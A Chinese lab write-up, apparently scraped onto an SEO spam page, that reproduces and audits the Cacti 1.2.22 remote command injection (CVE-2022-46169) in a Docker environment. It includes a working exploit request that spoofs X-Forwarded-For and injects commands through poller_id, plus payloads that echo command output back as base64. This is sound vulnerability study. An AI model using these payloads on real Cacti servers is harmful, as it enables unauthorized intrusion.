当前位置: 首页 > news >正文

体育 网站建设询价函格式池州网站seo

体育 网站建设询价函格式,池州网站seo,做网站要学什么专业,做家具厂招聘有哪些网站文章目录测试复现一,环境搭建二,通过VS Code连接cacti三,测试测试复现 一,环境搭建 1,在ubuntu虚拟机上安装MySql数据库: apt-get upgrade # 更新apt-get upgrade apt-get update # 更新apt-ge…

文章目录

  • 测试复现
    • 一,环境搭建
    • 二,通过VS Code连接cacti
    • 三,测试

测试复现

一,环境搭建

1,在ubuntu虚拟机上安装MySql数据库:

apt-get upgrade     # 更新apt-get upgrade
apt-get update      # 更新apt-get update
apt-get install mysql-server     # 安装mysql
service mysql start      # 启动MySQL
service mysql status     # 查看mysql状态

在这里插入图片描述

root@ning:~# netstat -tap | grep mysql      
tcp        0      0 localhost:mysql         0.0.0.0:*               LISTEN      33859/mysqld  

2,在github…com官网搜索对应的cacti安装包;

在这里插入图片描述

root@ning:~/vulhub/cacti/CVE-2022-46169# proxychains wget https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.22.zip
// 在Ubuntu虚拟机上安装对应的安装包
root@ning:~/vulhub/cacti/CVE-2022-46169# unzip 1.2.22.zip    # 解压缩

安装完后,根据vulhub官方文档上的操作执行。

第一步:执行如下命令启动一个Cacti 1.2.22版本服务器:

root@ning:~/vulhub/cacti/CVE-2022-46169# docker-compose up -d

第二步:环境启动后,访问主机IP:8080端口,进入到cacti登录页面:

在这里插入图片描述

第三步:使用admin/admin作为账号密码登录,并根据页面中的提示进行初始化,初始化的过程就是点击"下一步",直到安装成功即可:

在这里插入图片描述

第四步:本次测试的利用需要Cacti应用中至少存在一个类似是POLLER_ACTION_SCRIPT_PHP的采集器。所以,我们在Cacti后台首页创建一个新的Graph:

在这里插入图片描述

选择的Graph Type是“Device - Uptime”,点击创建:

在这里插入图片描述

3,测试

完成上述初始化后,切换到测试角度,发送如下数据包:

GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

在这里插入图片描述

虽然响应包里没有回显,但是进入容器中即可发现/tmp/success已成功被创建:

root@ning:~/vulhub/cacti/CVE-2022-46169# docker-compose exec web bash
root@6557b88583fa:/var/www/html# ls -al /tmp/
total 16
drwxrwxrwt 1 root     root     4096 Jul 25 03:52 .
drwxr-xr-x 1 root     root     4096 Jul 25 02:09 ..
-rw------- 1 www-data www-data 2429 Jul 25 03:50 sess_23c70c6c8a85bccae51d57b4c8f663bd
-rw------- 1 www-data www-data 1528 Jul 25 03:52 sess_dd35abcf5e60b64ff4c2124202bd7e48
-rw-r--r-- 1 www-data www-data    0 Jul 25 03:52 success

二,通过VS Code连接cacti

在这里插入图片描述

1,代码审计:

绕过 remote_client_authorized 鉴权函数

// remote_agent.php(nu53-nu56)
if (!remote_client_authorized()) {print 'FATAL: You are not authorized to use this service';exit;
}

get传递的参数,是用户可控的,一定能走进case polldata 这个开关语句,一定会触发poll_for_data 函数。

在这里插入图片描述

可以通过ctrl+鼠标右键进行函数追踪:

在这里插入图片描述

// remote_agent.php:nu324-nu428
if (cacti_sizeof($items)) {foreach($items as $item) {switch ($item['action']) {    // 判断action的值,action的默认值为2case POLLER_ACTION_SNMP: /* snmp */......case POLLER_ACTION_SCRIPT: /* script (popen) */......case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */......

通过ctrl+鼠标右键追踪这三个常量可以得知,POLLER_ACTION_SCRIPT_PHP常量的值为2,所以会执行POLLER_ACTION_SCRIPT_PHP后面的代码:

// global_constants.php:nu106-nu109
/* used both for polling and reindexing */
define('POLLER_ACTION_SNMP', 0);
define('POLLER_ACTION_SCRIPT', 1);
define('POLLER_ACTION_SCRIPT_PHP', 2);

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

如果需要执行命令,需要绕过这几个判断:

一定要将output赋值给value,否则output就会变成U
在这里插入图片描述

这里做了一个prepare_validate_result提前的判断,一定要绕过这个函数;

在这里插入图片描述

substr_count:计算字符串出现的次数。例如:

<?php
$text = 'This is a test';
echo strlen($text), PHP_EOL; // 14echo substr_count($text, 'is'), PHP_EOL; // 2// 字符串被简化为 's is a test',因此输出 1
echo substr_count($text, 'is', 3), PHP_EOL;// 字符串被简化为 's i',所以输出 0
echo substr_count($text, 'is', 3, 3), PHP_EOL;// 输出 1,因为该函数不计算重叠字符串
$text2 = 'gcdgcdgcd';
echo substr_count($text2, 'gcdgcd'), PHP_EOL;// 因为 5+10 > 14,所以抛出异常
echo substr_count($text, 'is', 5, 10), PHP_EOL;
?>22

在这里插入图片描述

filter_var:使用特定的过滤器过滤一个变量。这个过滤器可以验证IP是否合法。

在这里插入图片描述

当这里的验证绕过后,代码就可以执行。

2,创建一个test.php测试代码:

<?php
echo '<pre>';
var_dump($_SERVER);

在这里插入图片描述

3,修改config.php文件:

root@ning:~/usr/local/nginx/html/cacti/include/config.php

$database_type     = 'mysql';
$database_default  = 'cacti';
$database_hostname = 'localhost';
$database_username = 'root';
$database_password = 'root123';
$database_port     = '3306';
$database_retries  = 5;
$database_ssl      = false;
$database_ssl_key  = '';
$database_ssl_cert = '';
$database_ssl_ca   = '';
$database_persist  = false;

4,修正环境变量

以下配置均在容器内部进行:

# 安装指定版本的xdebug
root@6557b88583fa:/var/www/html# pecl install xdebug-3.1.6# 启用扩xdebug展
root@6557b88583fa:/var/www/html# docker-php-ext-enable xdebug# 重启容器
root@6557b88583fa:/var/www/html# exit
root@ning:/usr/local/nginx/html/cacti/lib# docker restart 6557b88583fa
// 3.1.6是php7.4对应的debug# 编辑 docker-php-ext-xdebug.ini 配置文件
root@ning:~# docker exec -it 6557b88583fa /bin/bash
root@6557b88583fa:/var/www/html# cd /usr/local/etc/php/conf.d
root@6557b88583fa:/usr/local/etc/php/conf.d# ls -al
-rw-r--r-- 1 root root   22 Jul 25 09:49 docker-php-ext-xdebug.ini
root@6557b88583fa:/usr/local/etc/php/conf.d# vim docker-php-ext-xdebug.ini     # 添加如下内容
zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes

5,进数据库

root@ning:/usr/local/nginx/html# docker exec -it 360eb4ccb010 /bin/bash
bash-4.2# mysql -uroot -proot
mysql> use cacti
....
Database changed
mysql> show tables;         # 查看表单

三,测试

1,打断点

在这里插入图片描述

2,抓包

  1. 开启burp suite

    在这里插入图片描述

  2. 在浏览器中访问

    在这里插入图片描述

  3. 将burp suite抓取到的包发送到repeater

    在这里插入图片描述

  4. 修改部分数据后,send

    在这里插入图片描述

虽然没有回显,但是在访问容器内容时,生成了success文件:

在这里插入图片描述

3,构造命令行

在这里插入图片描述

下面的命令在传参时,为了防止空格的影响,都要先进行urlencode编码:

|echo "test\r\n `id | xxd -p -c 1 | awk '{printf \"%s \", $0}'`";

在这里插入图片描述

|echo "test\r\n :`id | base64 -w0`";

在这里插入图片描述

运行完后,只需要将输出的值通过base64转码后,就能达到预想达到结果:

在这里插入图片描述

|echo "test\r\n `id | base64 -w0 | awk -v ORS=':' '{printf $0}'`";

在这里插入图片描述

http://www.dtcms.com/a/562235.html

相关文章:

  • 莱阳网站制作天津网站制作费用
  • 001主引导扇区
  • PyCharm的初始设置
  • 天津 交友 网站建设网站建设流费用
  • 阜阳网站优化wordpress素锦 下载
  • 自建站怎么搭建学ui有前途吗
  • 南昌网站建设技术托管wordpress固定链接设置访问出错
  • 河南艾特网站建设果乐宝的网站建设
  • 惠州专业网站设计公司多说插件 wordpress
  • 网站建设分类方案合击版手游带月灵
  • C++世界的混沌边界:undefined_behavior
  • 【AI学习-comfyUI学习-文生图-各个部分学习-第一步】
  • 学习RT-thread(线程、线程调度方式、线程状态)
  • asp.net网站第一次运行慢成长厉程网站
  • 网站如何做攻击防护做啥英文网站赚钱
  • 云南省建设厅网站职称评审wordpress 代码行号
  • 频繁从一个网站链接到另一个网站会影响百度收录么简单的网站开发软件
  • Kubernetes 核心资源:Service 与 Pod 解析
  • 福安市网站建设广告发布平台
  • 关于Dynamics 365多选选项集在使用Contains-value时失效问题的分析与解决
  • 可以免费创建网站的软件数字化文化馆网站建设
  • 【C语言】选择结构和循环结构的进阶
  • 珠海网站建设制作青岛做网站的公司有哪些
  • 免费制作app的手机软件东莞seo建站广告费
  • ssm框架之Spring(上)
  • 【星闪】Hi2821 | USB HID设备类 + HID键盘例程
  • o2o网站建站wordpress json接口
  • 成都自助建站模板网站建设评审表
  • 边界扫描测试原理 15 -- BSDL 9 应用示例
  • 唐山专业网站建设公司阿里云虚拟主机和云服务器的区别